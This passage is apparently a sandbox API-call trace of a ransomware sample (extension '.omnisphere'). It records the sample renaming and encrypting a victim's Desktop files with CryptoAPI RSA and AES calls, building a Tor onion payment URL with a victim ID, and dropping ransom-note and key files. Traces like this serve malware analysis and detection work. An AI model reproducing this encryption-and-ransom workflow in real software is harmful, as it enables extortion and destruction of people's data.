lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0165.427] GetProcessHeap () returned 0x1600000 [0165.427] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26e) returned 0x1776958 [0165.427] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\xpzbugntc-6.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\xpzbugntc-6.odt.omnisphere")) returned 1 [0165.428] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt.omnisphere.id" [0165.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\xpzbugntc-6.odt.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0165.428] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0165.429] CloseHandle (hObject=0x3bc) returned 1 [0165.429] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0165.430] CloseHandle (hObject=0x380) returned 1 [0165.430] SetEndOfFile (hFile=0x39c) returned 1 [0165.430] FlushFileBuffers (hFile=0x39c) returned 1 [0165.559] CloseHandle (hObject=0x39c) returned 1 [0165.559] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\XpzbuGntc-6.odt" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0165.559] GetProcessHeap () returned 0x1600000 [0165.559] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1776bd0 [0165.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.559] GetProcessHeap () returned 0x1600000 [0165.559] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733d38 [0165.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733d38, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0165.559] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0165.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.560] GetProcessHeap () returned 0x1600000 [0165.560] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f7c0 [0165.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f7c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0165.560] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0165.560] GetProcessHeap () returned 0x1600000 [0165.560] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773790 [0165.560] PathCombineW (in: pszDest=0x1773790, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0165.560] GetProcessHeap () returned 0x1600000 [0165.560] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1755da0 [0165.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.560] WriteFile (in: hFile=0x39c, lpBuffer=0x1755da0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1755da0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0165.560] CloseHandle (hObject=0x39c) returned 1 [0165.561] GetProcessHeap () returned 0x1600000 [0165.561] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1776bd0 | out: hHeap=0x1600000) returned 1 [0165.561] GetProcessHeap () returned 0x1600000 [0165.561] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a110 [0165.561] PathCombineW (in: pszDest=0x163a110, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0165.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.561] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0165.561] CloseHandle (hObject=0x39c) returned 1 [0165.561] GetProcessHeap () returned 0x1600000 [0165.561] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a110 | out: hHeap=0x1600000) returned 1 [0165.561] GetProcessHeap () returned 0x1600000 [0165.562] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692190 | out: hHeap=0x1600000) returned 1 [0165.562] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc59b4720, ftCreationTime.dwHighDateTime=0x1d4cf78, ftLastAccessTime.dwLowDateTime=0xfdf5ab40, ftLastAccessTime.dwHighDateTime=0x1d4d17d, ftLastWriteTime.dwLowDateTime=0xfdf5ab40, ftLastWriteTime.dwHighDateTime=0x1d4d17d, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0xf5, cFileName="yfPx0cEnV.mp3", cAlternateFileName="YFPX0C~1.MP3")) returned 1 [0165.562] GetProcessHeap () returned 0x1600000 [0165.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a) returned 0x1691f20 [0165.562] PathCombineW (in: pszDest=0x1691f20, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="yfPx0cEnV.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3" [0165.562] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0165.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\yfpx0cenv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.563] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=5945) returned 1 [0165.563] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x1215, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.563] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.563] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] GetTickCount () returned 0x11691b8 [0165.564] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16691a8) returned 1 [0165.565] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396e8) returned 1 [0165.565] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0165.565] CryptDestroyKey (hKey=0x16396e8) returned 1 [0165.565] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0165.565] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1739, lpName=0x0) returned 0x380 [0165.566] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1739) returned 0x1480000 [0165.566] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668460) returned 1 [0165.567] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639868) returned 1 [0165.567] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.568] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.569] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.570] 